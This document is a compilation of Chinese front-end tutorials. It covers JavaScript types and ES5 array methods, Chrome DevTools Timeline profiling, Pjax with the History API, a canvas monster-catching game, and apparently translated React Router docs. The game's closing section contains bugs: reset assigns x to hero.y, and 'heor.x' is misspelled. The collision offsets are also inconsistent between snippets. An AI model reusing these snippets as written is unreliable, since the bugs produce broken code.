	undefined和null，null和object的关系又很暧昧，后面细说，要不然会晕菜。


	基本数据类型:Undefined，Null，Boolean，Number，String，这五种基本数据类型是按值访问的。




    var o;            // undefined表示变量声明了，却没有赋值
    var o=null;        // null表示空值
    var o="字符串";    // string字符串
    var o=false;    // boolean布尔值包括true，false
    var o=1;        // number，可以是整数和小数
    var o=NaN        // 非数字

JavaScript是弱类型语言，存在丢失精度问题，本系列以面向对象为主，所以不讨论此问题；

JS引用类型介绍


	包括：Object类型，Array类型，Date类型，RegExp类型，


	Function类型，需要特别注意一下，函数在ECMAScript中是对象，不是一种数据类型，每个函数都是Function类型的实例，函数名是指向函数对象的指针，这可是JS世界的一等公民


	
基本包装类型，ECMAScript提供了三个特殊的引用类型，主要为了便于操作基本类型的值，包括：


	Boolean


	Number


	String






	
单体内置对象，包括：


	Global对象，这是个无形的对象，


	Math对象，这是用来做各种数学运算的内置对象






	引用类型的值是保存在内存中的对象，也就是说，在操作对象时，实际上是在操作对象的引用，而不是实际的对象




    var o=[1,2,3];        // Array
    var o=new Date();    // Date
    var o={};            // Object



讲类型就是基本的一个过渡介绍，Object和Function后面还会细讲，其余的类型可以根据上面列出的，具体的去参考书籍（推荐JavaScript高级程序设计）或其他资料，正题开始，先来个预热篇，吼吼~~



ECMAScript5数组的新特性

作为预热篇，我们先来聊聊，ECMAScript5中数组的新特性，个人做了如下区分：


	位置方法：indexOf，lastIndexOf


	迭代方法：every，filter，forEach，some，map


	缩小方法：reduce，reduceRight




(注：迭代方法回调支持3个参数，第1个是遍历的数组内容；第2个是对应的数组索引，第3个是数组本身)

来吧，每个方法都过一遍，敲敲代码：

indexOf

包含两个参数，第一个是要检索的字符串值，第二个是可选参数，表示开始检索的位置，注：必须是合法值(0,length-1);返回值是该字符串首次出现的位置，找不到则返回-1；

    var arr = ["卫士",3,5,"皮带",8,6,"包裹"];
    var i = arr.indexOf("皮带");
    alert(i);        // 返回3
    
    var arr = ["卫士",3,5,"皮带",8,6,"包裹"];
    var i = arr.indexOf("皮带",6);
    alert(i);        // 返回-1

由上面的例子，我们可以掌握indexOf的基本用法，可如果一个数组中重复存在相同的值，怎么样把重复项的索引一一找出来嘞，让帅狐show给你看，如下:

    var arr = ["卫士",3,5,"包裹",8,6,"皮带","包裹","包裹"];
    var oArr = [];    // 定义一个存放索引的数组
    var i = arr.indexOf("包裹");    // 索引位置
    
    while(i>-1){    // 用while循环，直到找不到索引为止
        oArr.push(i);
        i = arr.indexOf("包裹",i+1);
    }
    alert(oArr);
    

怎么样，帅吧，next...

lastIndexOf

跟indexOf，基本一样，不同的是，这个方法是从后往前检索；

    var arr = ["卫士",3,5,"包裹",8,6,"皮带","包裹","包裹"];
    var oArr = [];    // 定义一个存放索引的数组
    var i = arr.lastIndexOf("包裹");
    alert(i);        // 返回8
    

every

对数组的每个元素都进行函数运行，如果每个都是true，则返回true，否则，如果有一个是false的话，嘿嘿~~，那就返回false咯

    var arr = ["卫士",3,5,"包裹",8,6,"皮带","包裹","包裹"];
    var res = arr.every(function(item){
        return typeof item=="string";    // 这里复习下typeof操作符
    })    
    alert(res);    // false，把数组中的数字项全部去掉，则返回true

filter

对数组的每个元素都进行函数运行，返回过滤后的选项

    var arr = ["卫士",23,"包裹",565,"皮带","包裹","包裹"];
    var res = arr.filter(function(item){
        return typeof item=="string";    // 这里复习下typeof操作符
    })    
    alert(res);    // 卫士, 包裹, 皮带, 包裹, 包裹

forEach

对数组的每个元素都进行函数运行，注：该方法没有返回值

    var arr = {                            // 定义一个对象字面量
        num: [[1,3,5],[2,3,8],[9,6,1]],    // 一个二维数组
        numR:function(o)                // 处理函数                
        {
            o.reverse();        // 数组反向
        }
    };

    arr.num.forEach(function(item){
        arr.numR(item);
    })

这个例子，刚接触面向对象的童鞋会觉得略难，多敲代码多理解，无他，唯手熟尔~

some

对数组的每个元素都进行函数运行，对任一项返回为true，则返回为true，跟上面的every相似，好像every是处女座样(^__^)

    var arr = [1,3,5];
    var res = arr.some(function(item){
        return item>6;
    })
    alert(res);    // 返回false

map

对数组的每个元素都进行函数运行，返回每次函数调用的结果组成的数组(略抽象),来吧，看例子

    var arr = [1,3,5];
    var res = arr.map(function(item){
        return item+item;
    })
    alert(res);    // 返回2,6,10

reduce和reduceRight

这俩一起说，兄弟俩嘛，这俩方法都会选代数组所有项，然后构建一个最终返回的值。reduce()方法从数组的第一项开始，逐个遍历到最后，reduceRight则相反

    var arr = [1,3,5];
    var res = arr.reduce(function(prev,cur,index,array){
        return prev+cur;
    })
    alert(res);    // 返回9
    
    var arr = [[1,3,5],[9,8,6,2,1],[6,2,1]];    
    function s(prev,cur){
        return prev.concat(cur);    // 合并二维数组
    }
    function m(prev,cur){
        return prev>cur?prev:cur;    // 取最大值
    }
    var res = arr.reduce(s).reduceRight(m);        // 链式调用
    alert(res);    // 返回9

话外音


	既然咱聊的是面向对象，设计模式，还是再啰嗦一下，在这就不要去争论JavaScript是基于对象还是面向对象，不管是轩辕剑还是七星剑，能灵活运用才是关键(这么说会不会有点贱-_-)


	面向对象的基础扎实了，学框架(AngularJS,React)，或者学其他脚本语言(Php)等，上手都会很快


	再则程序世界学东西都是锻炼思维，掌握以前未掌握的，变成自己的一套才是精髓


	另外重申一下，本系列是JS进阶，初学者慎读，尤其设计模式的一些知识会跟java进行比较，模拟等


	预热篇介绍的数组新特性在后面的设计模式实战中会用到，其他基础知识，如数组，闭包等请参阅书籍或其他资料




这一回主要介绍了下JavaScript的数据类型，聊了ES5中数组的9个新特性，下一回聊JavaScript的Object类型。





注：此系飞狐原创，转载请注明出处


 使用Chrome DevTools的Timeline分析页面性能

作者：Horve大叔

来源： 使用Chrome DevTools的Timeline分析页面性能



                    
原文地址：http://horve.github.io/2015/10/26/timeli...

随着webpage可以承载的表现形式更加多样化，通过webpage来实现更多交互功能，构建web应用程序已经成为很多产品的首要选择。这种方式拥有非常明显的优势：跨平台、开发便捷、便于部署和维护等等，但随着功能的不断积累，web应用程序也会变得越来越复杂。但是，我们仍然想要在webpage支持丰富的呈现形式的同时，让页面效果能够达到>=60fps(帧)/s的刷新频率以避免出现卡顿，就需要我们使用一些比较直观的方式来分析衡量页面的性能问题，为性能优化方案提供依据。

为什么是60fps?
我们的目标是保证页面要有高于每秒60fps(帧)的刷新频率，这和目前大多数显示器的刷新率相吻合(60Hz)。如果网页动画能够做到每秒60帧，就会跟显示器同步刷新，达到最佳的视觉效果。这意味着，一秒之内进行60次重新渲染，每次重新渲染的时间不能超过16.66毫秒。



需求大体明确，就是要找到页面执行过程中的性能瓶颈。而Chrome DevTools的Timeline则正是用来记录和分析应用在运行时所有的活动情况，它是用来排查应用性能瓶颈的最佳工具。

下图是Timeline面板的预览效果：



Tips:为了避免浏览器插件对分析过程产生影响，建议在隐身模式下进行分析。



Timeline工具栏介绍

Timeline工具会详细检测出在Web应用加载的过程中时间花费情况的概览，包括下载资源、处理DOM事件、页面布局渲染、向屏幕绘制元素等。你可以通过分析Timeline得到的事件、框架和实时的内存用量，找出应用的性能问题。



在分析页面前，需要首先开启录制功能，记录页面的操作和渲染记录。如上图，左上角的灰色圆点就是录制按钮，点击后会变成红色，然后在页面上进行相关操作后再次按下变成灰色完成录制，这样就完成了一次对操作及加载渲染的记录过程，随后Timeline就会开始分析操作过程中的各项性能参数。

Timeline同时提供了两种查看模式：“事件模式(Event Mode)”和“帧模式(Frame Mode)”。如上图箭头所示。

事件模式：显示重新渲染的各种事件花费的时间。
帧模式：显示每一帧的时间花费情况。



事件模式 (Event Mode)

如果我们的一个页面执行效率不高，我们必须要搞清楚导致页面性能低下的原因，到底是javascript执行出了问题，还是页面渲染出了问题。要了解这里面的执行细节，我们可以使用“事件模式”来进行分析。首先我们需要录制一些需要被分析的操作，录制结束后进入事件模式预览Timeline。下图是得到的事件模式的视图：



在上图中，不同的颜色表示不同的事件。一种颜色的区块越长，说明在处理该事件的耗时就越长。单击某一区块，可以在下面的Summary概要中看到详细的事件处理过程及耗时分布。



蓝色(Loading)：网络通信和HTML解析
黄色(Scripting)：JavaScript执行
紫色(Rendering)：样式计算和布局，即重排
绿色(Painting)：重绘
灰色(other)：其它事件花费的时间
白色(Idle)：空闲时间



在显示的记录中，浏览器也会为在检测过程中发现的一些可能导致性能问题的过程进行标注，在Mode View视图区域，可能会出现一些红色的区块段，这些红色的区块段表明，在对应的时间上执行的事件可能存在性能问题，而在对应的Main Thread视图区域，事件区块的右上角会出现红色的小三角，点击当前区块，在下面的Summary概要区域内会给出详细的警告内容以及脚本可能出现问题的行数，如下图，浏览器提示“强制同步布局可能会导致性能瓶颈”：



此外，在关闭Event Mode后，还可以看到Record Detail视图，详细列出一次记录中各类事件的详细内容。



Record Detail视图区域的左侧是事件标题，右侧是对应的时间线。点击每一条时间标题可以看到更多信息，如事件发生在脚本的哪一行等。如果你只对某一个时间段内的某些操作感兴趣，可以通过移动时间轴的始末位置来选择要浏览的区域：



帧模式 (Frame Mode)

帧模式从页面渲染性能的角度提供了数据支撑，一个柱状“frame”表示渲染过程中的一帧，也就是浏览器为了渲染单个内容块而必须要做的工作，包括：执行js，处理事件，修改DOM，更改样式和布局，绘制页面等。

如前文所述，我们的目标是保证页面要有高于每秒60fps(帧)的刷新频率，这样就能保证页面有高流畅度的渲染。



中在Frame视图中有两条贯穿该视图的横线，分别标识出60FPS和30FPS的基准，按照前面提到的16.66ms的计算方式，我们可以理解为分别标识了16.6ms和33.3ms两个时间点。下面的一条是60FPS，低于这条线，可以达到每秒60帧；上面的一条是30FPS，低于这条线，可以达到每秒30次渲染。如果色柱都超过30FPS，这个网页就有性能问题了。

图中帧柱的高度表示了该帧的总耗时，帧柱中的颜色分别对应该帧中包含的不停类型的事件。每一帧柱的高度越低越好，上图是艺龙PC首页www.elong.com的帧渲染图，从图中可以看出，在进行某些帧的渲染时，帧的渲染频率低于30FPS/s，第二帧和第三帧就大幅低于30fps(帧柱高度高于30fps标准线)，在实际浏览器渲染中就有可能出现卡顿。对相关的帧进行分析时，可以点击其中某一帧查看渲染详情，也可以选择某个区域的几个帧查看渲染详情。而要找出可能影响性能的原因，点击当前问题帧，在Summary面板及Record Detail视图中的详细信息中进行逐条分析。

你可能注意到了在帧柱上存在灰色区域和空白区域,它们分别代表：
灰色区块：那些没有被DevTools感知到的活动
空白区块：显示刷新周期（display refresh cycles）中的空闲时间段



点击某一个帧柱还可以得到该帧的详细记录数据：



Warning: 警告信息
ScreenShot: 当前选中帧的渲染截屏
Duration: 该记录及其子记录的总耗时
FPS: 当前帧的渲染频率
CPU Time: CPU耗时
Aggregated Time: 合计耗时分布



总结

发现问题是解决问题的第一步，chrome浏览器的TimeLine工具可以很好地辅助我们分析页面的性能瓶颈，提供详细全面的分析数据，为我们进行性能优化提供数据依据。当然，TimeLine中有用的功能还有很多，比如Memery Mode, Screen Shot等，使用技巧多种多样，在这里主要介绍了如何去记录一段渲染过程，如何去使用Event Mode和Frame Mode去查看并分析得到性能指标，后续如果有新的体会和发现，还会再做记录~

TimeLine中的事件汇总

Loading事件



	事件
	描述





	Parse HTML
	浏览器执行HTML解析



	Finish Loading
	网络请求完毕事件



	Receive Data
	请求的响应数据到达事件，如果响应数据很大（拆包），可能会多次触发该事件



	Receive Response
	响应头报文到达时触发



	Send Request
	发送网络请求时触发





Scripting事件



	事件
	描述





	Animation Frame Fired
	一个定义好的动画帧发生并开始回调处理时触发



	Cancel Animation Frame
	取消一个动画帧时触发



	GC Event
	垃圾回收时触发



	DOMContentLoaded
	当页面中的DOM内容加载并解析完毕时触发



	Evaluate Script
	A script was evaluated.



	Event
	js事件



	Function Call
	只有当浏览器进入到js引擎中时触发



	Install Timer
	创建计时器（调用setTimeout()和setInterval()）时触发



	Request Animation Frame
	A requestAnimationFrame() call scheduled a new frame



	Remove Timer
	当清除一个计时器时触发



	Time
	调用console.time()触发



	Time End
	调用console.timeEnd()触发



	Timer Fired
	定时器激活回调后触发



	XHR Ready State Change
	当一个异步请求为就绪状态后触发



	XHR Load
	当一个异步请求完成加载后触发





Rendering事件



	事件
	描述





	Invalidate layout
	当DOM更改导致页面布局失效时触发



	Layout
	页面布局计算执行时触发



	Recalculate style
	Chrome重新计算元素样式时触发



	Scroll
	内嵌的视窗滚动时触发





Painting事件



	事件
	描述





	Composite Layers
	Chrome的渲染引擎完成图片层合并时触发



	Image Decode
	一个图片资源完成解码后触发



	Image Resize
	一个图片被修改尺寸后触发



	Paint
	合并后的层被绘制到对应显示区域后触发





参考文档

https://developers.google.com/chrome-dev...

http://www.w3cfuns.com/article-1248-1.ht...

http://www.oschina.net/translate/perform...


 前端：将网站打造成单页面应用SPA（一）

作者：Coffce

来源： 前端：将网站打造成单页面应用SPA（一）



                    
前言


不知你有没有发现，像Github、百度、微博等这些大站，已经不再使用普通的a标签做跳转了。他们大多使用Ajax请求替代了a标签的默认跳转，然后使用HTML5的新API修改了Url，你可以在F12的Network面板里发现这个秘密。


这项技术并没有特别标准的学名，大家都称呼为Pjax，意为PushState + Ajax。这并不完全准确，因为还有Hash + Ajax等方法，但为了方便，我们下文还是统称为Pjax。


为什么要这么做？


Pjax是一个优秀的解决方案，你有足够多的理由来使用它：



	可以在页面切换间平滑过渡，增加Loading动画。

	可以在各个页面间传递数据，不依赖URL。

	可以选择性的保留状态，如音乐网站，切换页面时不会停止播放歌曲。

	所有的标签都可以用来跳转，不仅仅是a标签。

	避免了公共JS的反复执行，如无需在各个页面打开时都判断是否登录过等等。

	减少了请求体积，节省流量，加快页面响应速度。

	平滑降级到低版本浏览器上，对SEO也不会有影响。



原理呢？


Pjax的原理十分简单。

1. 拦截a标签的默认跳转动作。

2. 使用Ajax请求新页面。

3. 将返回的Html替换到页面中。

4. 使用HTML5的History API或者Url的Hash修改Url。


HTML5 History API


我们来看看HTML5在History里增加了什么：


history.pushState(state, title, url)


pushState方法会将当前的url添加到历史记录中，然后修改当前url为新url。请注意，这个方法只会修改地址栏的Url显示，但并不会发出任何请求。我们正是基于此特性来实现Pjax。它有3个参数：



	state: 可以放任意你想放的数据，它将附加到新url上，作为该页面信息的一个补充。

	title: 顾名思义，就是document.title。不过这个参数目前并无作用，浏览器目前会选择忽略它。

	url: 新url，也就是你要显示在地址栏上的url。



history.replaceState(state, title, url)


replaceState方法与pushState大同小异，区别只在于pushState会将当前url添加到历史记录，之后再修改url，而replaceState只是修改url，不添加历史记录。


window.onpopstate 事件

一般来说，每当url变动时，popstate事件都会被触发。但若是调用pushState来修改url，该事件则不会触发，因此，我们可以把它用作浏览器的前进后退事件。该事件有一个参数，就是上文pushState方法的第一个参数state。


一个实例：


这里我们以daipig为例，打开daipig，地址栏是http://www.daipig.com 。接下来打开F12 Console，输入：


history.pushState({ a: 1, b: 2 }, null, "http://www.daipig.com/abcdefg");



可以发现，url已经变成我们输入的url了，但页面并没有刷新，也没有发出任何请求。现在再输入history.state，就可以看到我们刚刚传过来的第一个参数state了。


这时点击后退，url会回到www.daipig.com，同样是没有刷新。只不过后退的时候其实是触发了window.onpopstate事件的。


详细文档可以查阅MDN： https://developer.mozilla.org/zh-CN/docs/DOM/Manipulating_the_browser_...


怎么完整的实现Pjax？


Pjax的原理上文已经讲了，并不复杂。我实现了一个比较粗糙的Pjax库，已经能满足不少需求，如果你有兴趣，可以上Github帮忙完善一下代码。地址是：https://github.com/Coffcer/coffce-pjax 。


完整的代码见Github，这里我们只谈需要注意的一些地方。


匹配选择器


要实现Pjax，难免就会有匹配选择器的需求。你需要判断当前点击的元素，是否匹配指定选择器。这里我给出一个兼容至IE8的解决方法：


// 判断element是否匹配选择器selector
function matchSelector(element, selector) {
    var match = 
        document.documentElement.webkitMatchesSelector || 
        document.documentElement.mozMatchesSelector || 
        document.documentElement.msMatchesSelector ||
        // 兼容IE8及以下浏览器
        function(selector, element) {
            // 这是一个好方法，可惜IE8连indexOf都不支持
            // return Array.prototype.indexOf.call(document.querySelectorAll(selector), this) !== -1;

            if (element.tagName === selector.toUpperCase()) return true;

            var elements = document.querySelectorAll(selector),
            length = elements.length;

            while (length--) {
            if (elements[length] === this) return true;
            }

            return false;
        };

    // 重写函数自身，使用闭包keep住match函数，不用每次都判断兼容
    matchSelector = function(element, selector) {
        return match.call(element, selector);
    };

    return matchSelector(element, selector);
}



// 验证一下
matchSelector(document.getElementById("abc"), "#abc"); // true
matchSelector(document.querySelector("a"), "p"); // false



在现代浏览器上，优先使用原生的matchesSelector方法来判断，在IE8及以下的浏览器里，循环document.querySelector的结果集，依次对比。


这个方法利用了闭包，然后重写自身，只有在第一次调用时需要判断加哪个前缀执行哪个方法，其后都是调用了闭包的match函数。


不支持HTML5 PushState的浏览器怎么办？


IE6到IE9是不支持pushState的，要修改Url，只能利用Url的Hash，也即是#号。


你可以随意找个网站试一下，在url后面加上#号和任意内容，页面并不会刷新。此时点击后退也只会回到上一条#号，同样不会刷新。


那么我们只需把pushState(新url)换成localtion.hash = 新url，把onpopstate事件换成onhashchange事件就可以兼容IE了。

QQ音乐，网易云音乐等就是使用这种方式。


现成的库


我简单实现了一个比较粗糙的Pjax库，地址是：https://github.com/Coffcer/coffce-pjax ，欢迎PR和Star。


 用HTML5开发一个小游戏

作者：JellyBool

来源： 用HTML5开发一个小游戏



                    
先上效果图





开始之前的准备



	game.html

	
js/ 里面创建game.js


	
images/ 里面放三张图片，一张背景图片(background.png)，一张英雄图片(hero.png)，一张怪物的图片(monster.png)



在game.html里面写上以下几行简单的HTML代码：



<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Simple Canvas Game</title>
    </head>
    <body>
        <script src="js/game.js"></script>
    </body>
</html>




我们在game.html引入了game.js文件，没错，剩下的所有工作都是在操作game.js，为其添加游戏的js代码。


创建画布


在game.js 里面，我们首先需要为游戏的舞台创建一张画布(canvas):


var canvas = document.createElement("canvas");
var ctx = canvas.getContext("2d");
canvas.width = 512;
canvas.height = 480;
document.body.appendChild(canvas);




这里通过js来创建了一个元素并设置canvas的宽和高，最后将其添加到<body>标签后。var ctx = canvas.getContext("2d");中的ctx变量是我们后面会用到的，具体的canvas用法查看这里的链接：


https://developer.mozilla.org/en/canvas_tutorial


准备图片


游戏需要加载我们之前存放在images文件夹下面的三张图片：


// Background image
var bgReady = false;
var bgImage = new Image();
bgImage.onload = function () {
    bgReady = true;
};
bgImage.src = "images/background.png";

// Hero image
var heroReady = false;
var heroImage = new Image();
heroImage.onload = function () {
    heroReady = true;
};
heroImage.src = "images/hero.png";

// Monster image
var monsterReady = false;
var monsterImage = new Image();
monsterImage.onload = function () {
    monsterReady = true;
};
monsterImage.src = "images/monster.png";




以上三张图片都是通过创建简单的图片对象来实现加载的，类似bgReady的三个变量用来标识图片是否已经加载完成，如果如果在图片加载未完成情况下进行绘制是会报错的。如果你不太确定new Image()到底是个什么东西，你可以在bgImage.src = "images/background.png";之后使用console.log(bgImage);来查看，你看到的将是类似：


<img src="images/background.png" >




游戏对象


我们需要定义一些对象，以便我们在后面会用到：


var hero = {
    speed: 256 // movement in pixels per second
};
var monster = {};
var monstersCaught = 0;




既然是英雄抓获怪物，我们得要有一个英雄和怪物的对象。而英雄有一个speed属性用来控制他每秒移动多少像素。怪物游戏过程中不会移动，所以暂时不用设置属性。monstersCaught则用来存储怪物被捉住的次数，初始值当然为0了。


处理用户的输入


游戏是给人玩的，那么我们怎么知道用户到底在这个过程中干了什么？按了键盘？点了鼠标？这些都是用户在玩游戏的时候的输入，所以我们一旦捕获到这些输入，我们就可以根据游戏的逻辑对用户的输入进行处理了：


// Handle keyboard controls
var keysDown = {};

addEventListener("keydown", function (e) {
    keysDown[e.keyCode] = true;
}, false);

addEventListener("keyup", function (e) {
    delete keysDown[e.keyCode];
}, false);




这里我们只是监听两个用户的输入：



	keydown

	keyup



然后我们将用户的输入先保存起来，并没有立即响应。为此，我们用keysDown这个对象来保存用户按下的键值(keyCode)，如果按下的键值在这个对象里，那么我们就做相应处理。



  在前端开发中，一般是用户触发了点击事件然后才去执行动画或发起异步请求之类的




开始一轮游戏


游戏在结束的时候，我们需要开始新的一轮游戏，所以在game.js添加reset函数


// Reset the game when the player catches a monster
var reset = function () {
    hero.x = canvas.width / 2;
    hero.y = canvas.height / 2;


    // Throw the monster somewhere on the screen randomly
    monster.x = 32 + (Math.random() * (canvas.width - 64));
    monster.y = 32 + (Math.random() * (canvas.height - 64));

};




reset()函数用于开始新一轮和游戏，在这个方法里我们将英雄放回画布中心同时将怪物放到一个随机的地方。


更新对象


在游戏的过程中，不管是用户在玩（有正确输入的状态）还是游戏结束，我们都是需要及时更新游戏的对象：


var update = function (modifier) {
    if (38 in keysDown) { // Player holding up
        hero.y -= hero.speed * modifier;
    }
    if (40 in keysDown) { // Player holding down
        hero.y += hero.speed * modifier;
    }
    if (37 in keysDown) { // Player holding left
        hero.x -= hero.speed * modifier;
    }
    if (39 in keysDown) { // Player holding right
        hero.x += hero.speed * modifier;
    }

    // Are they touching?
    if (
        hero.x <= (monster.x + 32)
        && monster.x <= (hero.x + 32)
        && hero.y <= (monster.y + 32)
        && monster.y <= (hero.y + 32)
    ) {

        ++monstersCaught;
        reset();
    }


};




update函数负责更新游戏的各个对象，会被规律地重复调用。首先它负责检查用户当前按住的是中方向键，然后将英雄往相应方向移动。


有点费脑力的或许是这个传入的modifier 变量。你可以后面将要实现的main 方法里看到它的来源，但这里还是有必要详细解释一下。它是基于1开始且随时间变化的一个因子。例如1秒过去了，它的值就是1，英雄的速度将会乘以1，也就是每秒移动256像素；如果半秒钟则它的值为0.5，英雄的速度就乘以0.5也就是说这半秒内英雄以正常速度一半的速度移动。理论上说因为这个update函数被调用的非常快且频繁，所以modifier的值会很小，但有了这一因子后，不管我们的代码跑得快慢，都能够保证英雄的移动速度是恒定的。


这里需要说明一下下面的判断怪物和英雄是什么根据：


 if (
        hero.x <= (monster.x + 31)
        && monster.x <= (hero.x + 31)
        && hero.y <= (monster.y + 32)
        && monster.y <= (hero.y + 32)
    )




上面的31,32是由hero和monster图片的大小决定的，我们的hero图片是32x32，monster图片是30x32，所以根据坐标的位于图片中心的法制，就可以得到上面的判断条件。


现在英雄的移动已经是基于用户的输入(按下上，下，左，右键)了，接下来该检查移动过程中所触发的事件了，也就是英雄与怪物相遇。这就是本游戏的胜利点，monstersCaught +1然后重新开始新一轮。


渲染物体


之前写的代码都是在准备前期工作和处理一些游戏的状态等，下面将进入正题：我们需要将所有的东西画出来


// Draw everything
var render = function () {
    if (bgReady) {
        ctx.drawImage(bgImage, 0, 0);
    }

    if (heroReady) {
        ctx.drawImage(heroImage, hero.x, hero.y);
    }

    if (monsterReady) {
        ctx.drawImage(monsterImage, monster.x, monster.y);
    }

    // Score
    ctx.fillStyle = "rgb(250, 250, 250)";
    ctx.font = "24px Helvetica";
    ctx.textAlign = "left";
    ctx.textBaseline = "top";
    ctx.fillText("Goblins caught: " + monstersCaught, 32, 32);
};




这里的ctx就是最前面我们创建的变量。然后利用canvas的drawImage()首先当然是把背景图画出来。然后如法炮制将英雄和怪物也画出来。这个过程中的顺序是有讲究的，因为后画的物体会覆盖之前的物体。


这之后我们改变了一下Canvas的绘图上下文的样式并调用fillText来绘制文字，也就是记分板那一部分。本游戏没有其他复杂的动画效果和打斗场面，绘制部分大功告成


主循环函数


我们实现了将画面画出来以后，我们紧接着需要实现的就是游戏的循环结构，于是将它放在main函数里：


// The main game loop
var main = function () {
    var now = Date.now();

    var delta = now - then;
    //console.log(delta);
    update(delta / 1000);
    render();

    then = now;

    // Request to do this again ASAP
    requestAnimationFrame(main);
};




上面的主函数控制了整个游戏的流程。先是拿到当前的时间用来计算时间差（距离上次主函数被调用时过了多少毫秒）。得到modifier后除以1000(也就是1秒中的毫秒数)再传入update函数。最后调用render 函数并且将本次的时间保存下来。


设置requestAnimationFrame()


在上面的main函数中，我们通过requestAnimationFrame()调用了main函数，所以我们需要声明：


var w = window;
requestAnimationFrame = w.requestAnimationFrame || w.webkitRequestAnimationFrame || w.msRequestAnimationFrame || w.mozRequestAnimationFrame;





这里这么多的||，不为别的，就是考虑到浏览器兼容问题而已。


最后启动游戏


万事具备，只欠东风。到此，所有的游戏代码基本就写完了，我们现在需要做的就是调用相应的函数来启动游戏：



// Let's play this game!
var then = Date.now();
reset();
main();




到这里代码就写完了。先是设置一个初始的时间变量then用于首先运行main函数使用。然后调用 reset 函数来开始新一轮游戏（如果你还记得的话，这个函数的作用是将英雄放到画面中间同时将怪物放到随机的地方以方便英雄去捉它）


用浏览器打开game.html，开始玩游戏吧！


进一步思考


在玩游戏的过程中，你会发现每一次hero捕获到monster，hero就回到了canvas画布的正中间。那么现在需要做的就是，将hero在捕捉到monster的时候让hero就停留在捕获的位置，不再是回到canvas正中间。


这个现象的出现主要是因为在reset函数中将hero.x和hero.y写死了，所以一个最简单的方法就是在reset中传入参数：


var reset = function (x,y) {
    hero.x = x;
    hero.y = x;
};




然后在update调用reset的时候传入捕获时位置的参数：


var update = function (modifier) {

        //...other codes

        ++monstersCaught;
        reset(heor.x,hero.y);

};





最后在开始游戏的时候将hero放在canvas最中间即可：



var then = Date.now();
reset(canvas.width / 2,canvas.height / 2);
main();




大功告成！
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React/Router

文档已废弃，关闭更新，详情请往  这里：


React Router 一个针对React而设计的路由解决方案、可以友好的帮你解决React components 到URl之间的同步映射关系。

概览

在阐明React Router可以帮你解决的问题之前我们来举一个没有引用React Router 的简单例子。

没使用 React Router

var About = React.createClass({
  render: function () {
    return <h2>About</h2>;
  }
});

var Inbox = React.createClass({
  render: function () {
    return <h2>Inbox</h2>;
  }
});

var Home = React.createClass({
  render: function () {
    return <h2>Home</h2>;
  }
});

var App = React.createClass({
  render () {
    var Child;
    switch (this.props.route) {
      case 'about': Child = About; break;
      case 'inbox': Child = Inbox; break;
      default:      Child = Home;
    }

    return (
      <div>
        <h1>App</h1>
        <Child/>
      </div>
    )
  }
});

function render () {
  var route = window.location.hash.substr(1);
  React.render(<App route={route} />, document.body);
}

window.addEventListener('hashchange', render);
render(); // render initially


在hash值改变的时候，App 将会根据this.props.route 值的改变来动态渲染 <Child/> component。
这样子的做法看起来很直接，但是这也会让整个应用程序变得更加复杂。
我们可以想想，如果组件 Inbox 有一些内嵌的子组件需要根据 例如 inbox/message/:id 或者 inbox/unread 等这样的路由规则做动态渲染的时候。我们需要一些更加智能的手段来把路由信息传递给我们的App，这样Inbox 组件可以根据URL的映射关系来控制哪些子组件应该需要被渲染。我们的很多组件应该根据URL的规则来做动态渲染。在不使用路由规则的前提下，复杂一点的路由需求就需要我们写很多条件判断的代码去去解决实RL和层级组件的同步问题。

引入路由

解决复杂的URL和层级组件之间的映射关系式React Router 的核心。我们使用声明式的方式为我们举的例子引入路由。我们使用JSX的方式来进行路由的配置，这样我们可以通过属性的方式来配置页面视图的层级关系。
先来看看路由的配置

var Router = require('react-router');
var Route = Router.Route;

// declare our routes and their hierarchy
var routes = (
  <Route handler={App}>
    <Route path="about" handler={About}/>
    <Route path="inbox" handler={Inbox}/>
  </Route>
);

我们删除掉一些在组件内判断路由逻辑的代码。然后用<RouteHandle/> 替换 <Child/>.然后代码变成下面这个样子。

var RouteHandler = Router.RouteHandler;

var App = React.createClass({
  render () {
    return (
      <div>
        <h1>App</h1>
        <RouteHandler/>
      </div>
    )
  }
});

最后我们需要监听url的变化来动态渲染应用，加入下面的代码。

  Router.run(routes, Router.HashLocation, (Root) => {
  React.render(<Root/>, document.body);
});

Root 是 React Router 路由匹配后决定渲染的最高层级的组件，告诉 RouterHandle 应该渲染的内容是什么。
<Router/> 组件是不会被渲染的。只是一个创建内部路由规则的配置对象。

接下来我们为应用添加更多的UI组件
现在我们计划给Inbox UI 添加Inbox message  子组件。首先我们需要添加一个新的Message组件。然后我们在原有的inbox路由下面为 Message 组件添加新的路由，这样就可以得到嵌套的UI。

var Message = React.createClass({
  render () {
    return <h3>Message</h3>;
  }
});

var routes = (
  <Route handler={App}>
    <Route path="about" handler={About}/>
    <Route path="inbox" handler={Inbox}>
      <Route path="messages/:id" handler={Message}/>
    </Route>
  </Route>
);

现在我们访问 inbox/message/jKei3c32c的URL就可以匹配到新的路由规则并可以匹配到App->Inbox->Message 这个分支下的UI。

获取url的参数
我们需要获取到一些Url的信息，这样我们可以根据这些参数从服务器端获取数据。我们把交给<Route/>匹配好的组件称为RouterHandler. RouterHandler 实例可以获取到一些非常有用的属性当你渲染组件的时候。特别是一些从URL动态获取的参数信息。比如在我们举例中得  :id

var Message = React.createClass({
  componentDidMount: function () {
    // from the path `/inbox/messages/:id`
    var id = this.props.params.id;
    fetchMessage(id, function (err, message) {
      this.setState({ message: message });
    })
  },
  // ...
});

嵌套的UI和多层级的URLs是 不需要耦合的。
有了React Router，我们不需要用嵌套UI的方式来对应多层级的URL。反过来，获取嵌套组件的UI，我们也不需要有多层级的URL与它对应。

比如说我们有/about/company 这样的URL，我们不需要嵌套UI组件到About组件中。

var routes = (
  <Route handler={App}>
    <Route path="about" handler={About}/>
    <Route path="about/company" handler={Company}/>
  </Route>
);

虽然说我们的URL是有层级嵌套的，但是我们UI组件中得 About 组件和 Company 组件却可以是相邻展平在同级目录的。

现在让我们往路由中添加url /archive/messages/:id 然后让该路由嵌套到inbox UI里面，即使 这个URL不跟上层 Router 的URL 嵌套。我们需要做三件事让匹配下面规则的路由正常工作。

1、url 要以 / 这样的绝对路径开头，这代表不会从父路由继承路由规则。
2、嵌套在Inbox route 中的router 会导致UI组件的层级嵌套。
3、确定你已经有必需的动态URL片段，在这里我们只有 :id ,所以处理起来相当简单。

var routes = (
  <Route handler={App}>
    <Route path="inbox" handler={Inbox}>
      <Route path="messages/:id" handler={Message}/>
      <Route path="/archive/messages/:id" handler={Message}/>
    </Route>
  </Route>
);

